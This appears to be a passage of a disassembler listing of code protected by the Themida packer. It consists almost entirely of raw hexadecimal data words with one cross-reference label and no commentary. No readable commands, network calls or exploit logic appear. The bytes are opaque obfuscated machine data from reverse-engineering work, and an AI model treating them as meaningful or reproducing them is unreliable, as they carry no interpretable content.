		dd 0E232E185h, 21B5FF05h, 8905E221h, 0E2045D85h, 0B995FF05h
		dd 6A05E20Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0DA3CC353h, 85D9F132h,	4AEADA84h
		dd 0F1B50960h, 8905E215h, 0E21CC99Dh, 0B06105h,	0CED4BF66h
		dd 71E470E6h, 0E69BD8Bh, 613C05E2h, 242830Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0F0061C3h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 48ED0DC3h, 0F0FE2825h, 0BF667E5Fh
		dd 6BA1F05h, 8B000000h,	0E20B29B5h, 0FC38B05h, 0E8C1F7BFh
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0E2F766BFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0D6C35545h, 199529C7h, 2B05E205h, 0A9B589D8h
		dd 0E905E213h, 9, 4AE17BDh, 0A9D94D5Bh,	858958E2h, 5E21EB1h
		dd 880FD82Bh, 180h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 2FC35040h, 0FDC6D9A0h, 2357729Ah, 0E214D1B5h
		dd 7B95F05h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0A136C356h,	958D2916h
		dd 8305E20Bh, 6A00C1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 9A9D24C3h, 4F576C92h, 3BB62DB5h
		dd 0FD860FD9h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0F7D6C357h,	40FC2DCBh
		dd 0B58B3096h, 5E219C9h, 9D98C66h, 0E20AFD8Dh, 4C1F605h
		dd 0BF840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0AF185C3h, 7EFA84A5h, 21A98509h
		dd 95FF05E2h, 5E21621h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0DDC35242h, 95DE9B58h, 0FA5E8479h, 0AD8D89B0h
		dd 8B05E21Fh, 0E20419BDh, 8B665B05h, 0C32BF5F1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 52C35242h, 0BF7E247Eh
		dd 2DC4E204h, 8343Dh, 2A860F00h, 0E9000000h, 28h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 4DC35040h, 0C6BF3E17h
		dd 4AAE858Bh, 0F5C08B44h, 0D88BC38Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 50C35343h, 7C7BB96Ah, 66277EA7h
		dd 0BF96C4BFh, 3819A903h, 218D85C7h, 0FD9105E2h, 8B663F0Fh
		dd 6AC08BFAh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0AA6FC351h, 85D9A96h, 0BD81601Ah
		dd 5E22121h, 7D0h, 26850Fh, 8E80000h, 0AC000000h, 3B910B89h
		dd 5F1C1A4Ch, 2D298D89h, 85FF05E2h, 5E22121h, 155BD8Bh
		dd 0B58B05E2h, 5E22111h, 2121B5FFh, 0EE905E2h, 0DC000000h
		dd 461A3EF8h, 0AF032449h, 0E0A3CDEAh, 0B995FFB5h, 6A05E20Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 5BFDC350h, 8433DD64h, 89802478h, 55B26060h
		dd 92DB8166h, 0BF0F61CBh, 409061C9h, 54D8589h, 0BD8305E2h
		dd 5E204CDh, 0EC840F00h, 89000000h, 0E216F59Dh,	0EDBD8305h
		dd 5E21Fh, 0D9840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 3CE243C3h, 811804F5h
		dd 156D8D89h, 95FF05E2h, 5E204CDh, 33499D89h, 0BD8B05E2h
		dd 5E22635h, 840FC00Bh,	97h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 20C35242h, 9F6FA6EFh, 71BD8BDCh
		dd 8D05E207h, 0E24C428Dh, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 77C18D2Bh
		dd 0F8AA31FFh, 68C0Fh, 8D310000h, 5E22491h, 0B8F88B66h
		dd 5, 14518589h, 0E1FF05E2h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 6EC35040h, 0F7EBFE25h, 9772F3C6h
		dd 0E1BD8B6Ah, 8305E217h, 0E23199BDh, 840F0005h, 522h
		dd 0A39B58Bh, 0BD8305E2h, 5E21FEDh, 0F840F00h, 6A000005h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 583BC353h, 37BFF599h, 0E50DBEB4h,	6820Fh
		dd 9D890000h, 5E20D19h,	1B718D8Dh, 6A05E2h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 1753FBC3h
		dd 57CBF1F4h, 958930A4h, 5E2215Dh, 7C8401C7h, 6A44B2h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 419B31C3h, 0A106BB24h, 18175C6h, 1499CFCBh, 0DE8h, 8A7B7F00h
		dd 24F49CA6h, 0B7E2348Ch, 0C75F414Eh, 6B340441h, 6660CE70h
		dd 9B12E681h, 14E8h, 0B7F8800h,	721E65FFh, 0FEFB7514h
		dd 7107B7E1h, 0C775B8AAh, 8DB589D2h, 5B05E216h,	27BF6661h
		dd 441819Bh, 31D6D710h,	8E1B58Bh, 6A05E2h, 14D5BD29h, 9D8905E2h
		dd 5E21495h, 1B71858Dh,	853105E2h, 5E21A41h, 0F88B6650h
		dd 3240489h, 0E20141B5h, 9995FF05h, 8905E231h, 0E20CFDBDh
		dd 718D8D05h, 8B05E21Bh, 0E21471BDh, 1C705h, 0E9000000h
		dd 13h,	68DCE990h, 15749C26h, 213421C6h, 0D7A225DAh, 0C768C943h
		dd 441h, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 1C0424h, 50400000h, 0EC751C3h, 0BCA117Ah, 0C00B0958h
		dd 0C6840Fh, 10E80000h,	0E000000h, 649B0ED6h, 4E5A891Dh
		dd 0A5230E2Eh, 89C3EF83h, 0E23259B5h, 8D8D5E05h, 5E24C42h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 30C35343h
		dd 883E769Bh, 840FF4h, 60000000h, 8E8h,	0CBDC1200h, 0D44D6C90h
		dd 13E923h, 77DC0000h, 0DDE58530h, 0E343514Ah, 0CEA6C57h
		dd 6BD1DF0h, 0B86158C3h, 5, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0B7C35646h, 0F7B0370Bh, 0FFF4CDF5h, 55006AE1h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0E5702604h, 66F561DAh, 0B589F08Bh, 5E221F9h,	1B718D8Dh
		dd 0DE905E2h, 0A4000000h, 3C87EE53h, 56B9AF28h,	91D4CB80h
		dd 727C01C7h, 890F44AAh, 0
		dd 0CFCB0181h, 6A1499h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0A71294C3h, 0E97E9124h, 441C7C2h
		dd 0CE78753Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	87C35545h, 8B0F8300h, 3, 81F28B66h, 0D7100441h
		dd 858931D6h, 5E2156Dh,	860F006Ah, 0
		dd 1B71858Dh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 96A0C6C3h, 0AA903950h, 0AE9EDD1h
		dd 51000000h, 4982DBF4h, 4273CC18h, 0BF66908Ah,	5050DCA2h
		dd 1EBF6652h, 0E8310F34h, 0Ch, 7BD01F2Ah, 0C9E027C5h, 0E8E6B91Fh
		dd 0B40CBF66h, 90585A5Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 3AC35646h, 8D894B42h,	5E223B5h, 319995FFh
		dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 3DB23C3h,	8D8D7F54h, 5E21B71h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 5EC35242h, 0C325C561h
		dd 0FEC97144h, 1C7A7h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0EE34C351h
		dd 0FE922h, 86C10000h, 79E43D0Dh, 8D9D6915h, 0C3D42D73h
		dd 441C7A5h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1EC35141h
		dd 0A8ED6DB3h, 95891648h, 5E20BA1h, 840FC00Bh, 19h, 428D8DF8h
		dd 6605E24Ch, 5B8F38Bh,	8B000000h, 0E21161BDh, 8BE1FF05h
		dd 718D8DFAh, 2B05E21Bh, 0E21DA5BDh, 0A501C705h, 0E854CA95h
		dd 7, 0FA121DDh, 8B3EBE47h, 0E2005DBDh,	95895E05h, 5E2243Dh
		dd 0CFCB0181h, 41C71499h, 5F596904h, 44181CEh, 31D6D710h
		dd 1B51B589h, 0B58B05E2h, 5E20135h, 13E9006Ah, 80000000h
		dd 8F8E04F3h, 0BAE428FBh, 0A4A86946h, 0F10B29A3h, 858D3DD0h
		dd 5E21B71h, 0D850Fh, 8E90000h,	0B6000000h, 4183B7CDh
		dd 9046A57Ch, 5350FB8Bh, 8E0F60h, 66000000h, 61C9CAB8h
		dd 0EF81905Eh, 4125230Ch, 319995FFh, 8D8D05E2h,	5E21B71h
		dd 2FA5BD8Bh, 1C705E2h,	0
		dd 0AEA6C781h, 41C71ED1h, 4, 8E0F00h, 0B000000h, 1F840FC0h
		dd 8D000000h, 0E24C428Dh, 9E905h, 0FBAE0000h, 0D2035939h
		dd 0B8F975E2h, 5, 0FE1FFF8h, 0CA03F1BFh, 0FFF26CE9h, 0F98B66FFh
		dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 2AC925C3h, 66C9C491h, 4EBF18Bh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 13C35040h
		dd 0B70F7B5Fh, 91858DF2h, 6A05E20Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0B849C353h
		dd 0F18D290Ah, 9005E214h, 0E850F38Bh, 5, 3A3C5938h, 6A905E30h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 7D55C357h, 27265515h, 31162C4Bh, 0E221F995h
		dd 898D2905h, 6A05E20Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0E93BEF6Bh, 10h, 0B933E0F1h
		dd 2CF95A12h, 0CE4EBA9Ch, 40360DC9h, 99F68166h,	6A006A8Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 9949C351h, 0B3DA1FD4h, 0BE661369h, 890FCF60h
		dd 6, 2AB1B58Bh, 858D05E2h, 5E5EA00h, 19B5BD29h, 0C08305E2h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0E518A81Dh, 40EEA232h, 0FADB58Bh, 669005E2h
		dd 8B50F18Bh, 6A90F0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 8AE67BC3h, 0E89C4123h, 14h, 7AA6108Eh
		dd 3622D379h, 747D1A4Fh, 46E7CF4h, 0B77B2A9Bh, 50006A5Eh
		dd 4A96DE81h, 895E6A10h, 0E20BA195h, 0E9006A05h, 10h, 0CC184982h
		dd 678A4273h, 0F5E6BC84h, 440AB6F6h, 1E2D95FFh,	816605E2h
		dd 8DF0DBEEh, 0E59D809Dh, 15B50305h, 0FF05E20Ch, 0F2BF0FD3h
		dd 232985FFh, 830F05E2h, 13h, 7E8h, 3EEB700h, 0C88842B9h
		dd 0D96EE81h, 0E95E13E8h, 0BEDh, 0E8h, 0ED815D00h, 5E5EA0Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 3EC35040h
		dd 2EE1B7EBh, 0B27E383Fh, 21BD81DBh, 0D005E221h, 0F000007h
		dd 19C86h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 1E21D045h, 0BE86A016h, 9DB58BEFh
		dd 8B05E223h, 0E20B5D9Dh, 0F7BF0F05h, 100E381h,	29600000h
		dd 0E218E985h, 61FE8A05h, 8E9h,	0AE7FC500h, 541C07DCh
		dd 0FDB0BE6h, 0A985h, 60575600h, 835E5E61h, 0E5E825BDh
		dd 840F0005h, 3Bh, 15219D89h, 0B53105E2h, 5E22185h, 0B7E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 2DA5AD60h, 430D84E6h, 299589FFh,	0C705E217h
		dd 0E5E82585h, 105h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 9AAC8EA3h, 0B52B0AABh
		dd 5E20A4Dh, 57E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0EFF1509Eh, 3B74DA1h
		dd 85C73490h, 5E5E825h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 27C35242h
		dd 7B9B58Bh, 0B58B05E2h, 5E2090Dh, 0B5D9D8Dh, 6A05E2h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 56E02EC3h, 9DB589h, 65BE05E2h, 81388F34h, 0FFFEFF23h
		dd 56006AFFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0AA698839h, 0F508C00h, 686h, 79B58B00h
		dd 8B05E210h, 0E2051DB5h, 0DB8C6605h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 52C35646h, 0CD20453Ch, 6810FF1h
		dd 89000000h, 0E20D8D85h, 4C3F605h, 48840Fh, 0BD890000h
		dd 5E21A01h, 2C098D89h,	95FF05E2h, 5E21621h, 3AD68166h
		dd 8B66502Dh, 240489F3h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 99C35545h, 3C93EB3Ah,	0FF38B34h, 189h
		dd 70E9F800h, 51000005h, 259D8952h, 5E05E215h, 8B00B05Eh
		dd 0E20409B5h, 5170E605h, 28F0Fh, 61600000h, 71E4F85Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 80C35040h
		dd 0A498BF70h, 4B9D0793h, 0F3B70F42h, 89D8B60Fh, 0E229A18Dh
		dd 6BA05h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 8160F1C3h, 0F547E6CAh, 198F0F4Ah
		dd 0E8000000h, 13h, 0DF577C0Bh,	7FEDFAADh, 279D4BC6h, 339AE408h
		dd 5F71F3DBh, 0CAF5BE61h, 0C38B4B46h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 6FC35242h, 5BA70F01h, 9E8h
		dd 0EA675000h, 46A25AB5h, 0B503D281h, 5E21819h,	4E8C15Eh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0FCC35242h
		dd 0AD2BE909h, 5E8E00Eh, 0C9000000h, 0E25B53FFh, 18E99589h
		dd 665E05E2h, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0B9962BC3h, 0F78B9FDFh, 6AD82Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0C8E297C3h, 0E5ADA083h, 0D759D89h, 529305E2h, 5EF78B66h
		dd 0E8605050h, 11h, 491FD93Bh, 0EEDEB2D3h, 0C86F19A4h
		dd 73FD89E6h, 5E61591Dh, 53006A93h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 71A4461Fh, 6DB52329h
		dd 8B05E21Bh, 0E21359B5h, 21B5FF05h, 0E905E221h, 0Dh, 4D4D8775h
		dd 7F6C7A8Bh, 59B350Fh,	0B995FFCDh, 6A05E20Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0D912C357h, 0B0A74BE0h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 31988565h
		dd 0E21FC1B5h, 6A70E605h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 9126C353h, 43457188h
		dd 6E88EF7h, 0B9000000h, 5C0FFC0h, 0B5EF584h, 0E203D9B5h
		dd 6A71E405h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0E0B8C355h, 7DFE5F70h,	3CF6B70Fh
		dd 0FC830F61h, 6A000002h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 812FC352h, 1DCC0FDEh
		dd 0D8B60F49h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	5DC35343h, 0BE66068Eh, 9D8962D3h, 5E22AF9h, 6BAh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0DB6E7DA4h, 85B58B6Ch, 8B05E20Ch, 0F146BEC3h
		dd 0E8C15F1Ch, 50006A04h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 70040DD7h, 0E2F766F3h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0AC35545h
		dd 8E927E8h, 24000000h,	7A88948Dh, 8BD466CBh, 0E222D1B5h
		dd 6AD82B05h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 7B5CC355h, 0F99D09F1h,	5805E219h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0CCC35141h
		dd 0B360C411h, 6B866D6h, 0D82B6139h, 1D1880Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0A83F9EC3h, 1F78B66h, 0E208C99Dh, 7B905h, 0ACBE0000h
		dd 836DF9E3h, 6A00C1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 3298DDC3h, 7B2C1EB7h, 0FF8D721h
		dd 80h,	0FD93B00h, 16A86h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 82B2E55h, 9E786E88h
		dd 48BE49BDh, 666AE649h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 6D6E97C3h, 25259D31h
		dd 0EE905E2h, 0E2000000h, 0CF36A2EAh, 2FBEC6C8h, 3DE8408Eh
		dd 4C1F611h, 0F7840Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 4ABEC5C3h, 8B6DCFB9h
		dd 0A59D29F1h, 0FF05E21Eh, 0E2162195h, 0E1BD8905h, 5B05E200h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F7C35141h
		dd 0E2C83B9Dh, 0B799EA43h, 0C32BF28Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 77C35040h, 4F0DD866h, 0C77996EBh
		dd 6A18589h, 8B6605E2h,	59BD89F1h, 3D05E205h, 834h, 5B860Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0A40B56C3h, 7A6346E4h, 1563D14h, 0E2070DBDh
		dd 30E95E05h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 9284C355h, 0A99914A6h
		dd 0E15873A2h, 0DE248BBEh, 66C08B4Bh, 8B2EBDBEh, 8BD88BC3h
		dd 0E20179B5h, 0F585C705h, 0F705E21Bh, 6A73DDE7h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 513C352h, 77FE1935h,	0F9BD8912h, 8B05E20Bh, 0B9F560C0h
		dd 396B8897h, 59B50361h, 8105E200h, 0E22121BDh,	7D005h
		dd 3D850F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0A29CC353h,	3444528h
		dd 0E9BD298Fh, 8B05E232h, 0E20ADDB5h, 2185FF05h, 6605E221h
		dd 0B589F78Bh, 5E20611h, 2121B5FFh, 6A05E2h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0F25D34C3h
		dd 0F0035780h, 669DE22Ah, 51E1AABEh, 0C0A9C681h, 0E85E27C9h
		dd 14h,	43E0213Ah, 0CC694260h, 99B79F2h, 5B3892CEh, 5A0EB91h
		dd 3325B58Bh, 0FF5E05E2h, 0E20AB995h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0AEB917BEh, 0D88B90F6h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0F5C35141h, 5E95A5A5h, 8890F59h, 0F000000h
		dd 282h, 83616000h, 0E21CA1BDh,	840F0005h, 2Bh,	28EE9FCh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 4584DEC3h
		dd 0DC4A16B8h, 8CF0BF0Fh, 51006ADFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0A40182E3h
		dd 0CB96FDAAh, 45EE8192h, 0E955FF22h, 9, 9025C0DFh, 0C7BB1366h
		dd 0C7F766C8h, 850F0004h, 224h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 8AC35040h, 759866B7h, 0E03841A7h
		dd 0BFh, 0E6816600h, 0B58B502Fh, 5E21DF5h, 0F5699D8Dh
		dd 6A05E5h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0B99BC9C3h, 0B589D86Ah, 5E210A1h,	14E850h
		dd 2FC40000h, 195556B4h, 3B7D8BDEh, 975F9F68h, 7555DA71h
		dd 7E96652h, 0FD000000h, 5C1114BEh, 895EDAC6h, 0B58B241Ch
		dd 5E216A9h, 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 749CC353h, 3421C615h
		dd 0BE921h, 0E6F50000h,	0B1F8051Ch, 0C806E0BEh,	258964C7h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 3BC35747h
		dd 0C3B4CA60h, 14893FC5h, 0CE85Ah, 0AB490000h, 6FCEFC93h
		dd 2B6ECD77h, 830FF2C8h, 0
aLJ		db '^‹Äj',0
		db 52h,	0E8h, 3
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0D589C352h, 419CBF3h, 78DE81CCh, 0CD2A3D0Bh,	2300EB01h
		dd 0E2178DB5h, 64F18B05h, 58Fh,	0FE90000h, 5F000000h, 7FA31218h
		dd 0C22EBAFCh, 0A4880E05h, 0C4832F03h, 51006A04h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0CE816690h, 0C00B9941h, 9A840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 8A5450C3h
		dd 61B58B59h, 8D05E231h, 0E24C42BDh, 8D858905h,	0B805E20Eh
		dd 5, 0F91EBE66h, 9589E7FFh, 5E2215Dh, 245C8B57h, 0B8838B10h
		dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h
		dd 335F0200h, 8B66C3C0h, 50006AF2h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E9A5B258h, 10h, 92A377C5h
		dd 8CAACDFBh, 34CC2BC2h, 93D90A2h, 3DE9CA2Bh, 6AFFFFF4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0B51AC356h, 0CEAE810Ah, 47E32E9h,	8E829BEh
dword_52D2A8	dd 3204EB19h, 0E93B3B2Ch, 4A9h,	0A5216593h, 0E9410C4h
					; DATA XREF: Themida_:004EF854o
		dd 0D7F3BF3Bh, 0B9256392h, 18D13C8h, 49B20BEAh,	0EFEA5F7Bh
		dd 964425A1h, 3CBD8C0Ah, 156C507Eh, 0FD4C83B4h,	0EBD352F9h
		dd 0D823696Eh, 33946499h, 0FC18B902h, 382F64D3h, 0B95F10B9h
		dd 0B9F6FC18h, 0D2077A20h, 58951BDEh, 575582CDh, 4D498D34h
		dd 4232743Eh, 4D8F03F4h, 44B13A41h, 74E542C5h, 0ADFC18B9h
		dd 0B9BABB1Ch, 1C6BFC18h, 210006A7h, 0F170F7BBh, 18B9E768h
		dd 78413EFCh, 911DDFA2h, 8210CB0Ah, 0E1D59F7Bh,	0BF5B6795h
		dd 988F0DCAh, 0F9E24D9h, 956FDCEh, 0FC18B975h, 850CF86Eh
		dd 3A041348h, 79E7h, 696EDB00h,	0B90F40E9h, 7CDDFC18h
		dd 0FC18B9FBh, 7A315D2Ah, 9E91FE0Dh, 85FC18B9h,	8A18C584h
		dd 313D0931h, 0B801874Eh, 4134F82h, 9FC3Ah, 3A7D0000h
		dd 8400F4BAh, 6E887E4Fh, 0AA3F2266h, 1062781Dh,	72EBFDCh
		dd 99C18DCh, 72890FC6h,	60BB07F3h, 0D97EFAE1h, 0FC18AC98h
		dd 6685F249h, 92E6DE98h, 0ACDAAAECh, 1BACEAEDh,	65E4A054h
		dd 0D1EAB622h, 5837435h, 6D6ED399h, 599DC427h, 5387CE5Dh
		dd 0F30A9845h, 77FE0D7Ah, 0B8B8E284h, 0E09E67BBh, 0CE7850ABh
		dd 0CA6C82F6h, 0BADB4CFAh, 0BE04A164h, 0AE2F12ABh, 30ABEFEAh
		dd 65D21B62h, 0E998D506h, 77482870h, 5C6D1BD2h,	0B8FEFB4Eh
		dd 0AAF6E26Dh, 0BFB73153h, 427A548h, 752A3Ah, 6E1C0000h
		dd 5DC4276Dh, 0BE9A05CCh, 7A7A6FEFh, 79F8C13Eh,	0FFC33781h
		dd 713B7B82h, 0FEC43985h, 266C91D0h, 53599CC7h,	562EA8C8h
		dd 4D50ED3h, 58BD3Ah, 6E810000h, 0ECAA2D6Dh, 6733FBDh
		dd 0EE7E7CE7h, 0CA18C55Bh, 0D2024518h, 0AA0299D6h, 0F9BF387Bh
		dd 0D69029A2h, 0E51150DEh, 0A08DCE6Bh, 0EF44FC18h, 0B52629B2h
		dd 0C95EE3EFh, 0E019117Ch, 2D3CB1DAh, 6ECCBA03h, 7EDB2266h
		dd 0FC18B9C0h, 10976FD9h, 3A0413BDh, 112h, 6A6E5400h, 5B9CC726h
		dd 0A1E0CE5Dh, 0B9D8993Eh, 3209FC18h, 69D5A1A9h, 0B6A12D71h
		dd 258285A9h, 1FACD05h,	0FD6487FCh, 88BBEFCh, 0FAADAEAFh
		dd 0D20267F9h, 0C906B7D6h, 0CC5F6596h, 19683E8Fh, 0E643DAE0h
		dd 0F9FAAD4Bh, 105E5610h, 4425A1E7h, 4FF61593h,	45F90C8Ah
		dd 0F26713E3h, 9D582B89h, 0E8497E1Fh, 498EB10Ah, 8C4BDC43h
		dd 50A8B3CCh, 0B6FCAA33h, 3FE6F65Bh, 10EF0h, 0EFAECA00h
		dd 2D06A7EBh, 9A1D0C20h, 0A4669B0Dh, 9ECFA728h,	29C84168h
		dd 9CE5C633h, 1FA2F26h,	0A5E91352h, 26D21546h, 0A4C5419Ah
		dd 0FBAF5203h, 7FB483F9h, 7634A52Ch, 0DAE01968h, 0D1D70043h
		dd 0C6BE384Ah, 9D397F78h, 0E7293A97h, 35913Fh, 18D50000h
		dd 75D25579h, 0FC18B914h, 1F0BC156h, 0CD526A2Ch, 0CF5E5A9Ah
		dd 92E93D8Eh, 182D2E0Bh, 1D5DFC18h, 80A4AB29h, 18E73881h
		dd 211EFC18h, 8924A5h, 0AE5E0000h, 0B9C98A2Fh, 2918FC18h
		dd 5D9EEDB1h, 61EEC7E0h, 0DD7DDA4Dh, 3401FAD2h,	0A02314B5h
		dd 85F2F9FAh, 45B23D48h, 0F1E65B47h, 9435B4ABh,	0F9FAA0A3h
		dd 99A40572h, 9F23D796h, 0B3A4050Ch, 62F9FAA0h,	0A60FD815h
		dd 0F9FAA38Eh, 55A195D3h, 2063E6A4h, 0BCFAFFBBh, 54B7EC69h
		dd 17C0C6E7h, 8623260Ah, 41CB5E5h, 9DC4271Ch, 1BA1545Ch
		dd 8F1E4B80h, 974D3923h, 20A3A68Ah, 0D7367C61h,	4BFC4566h
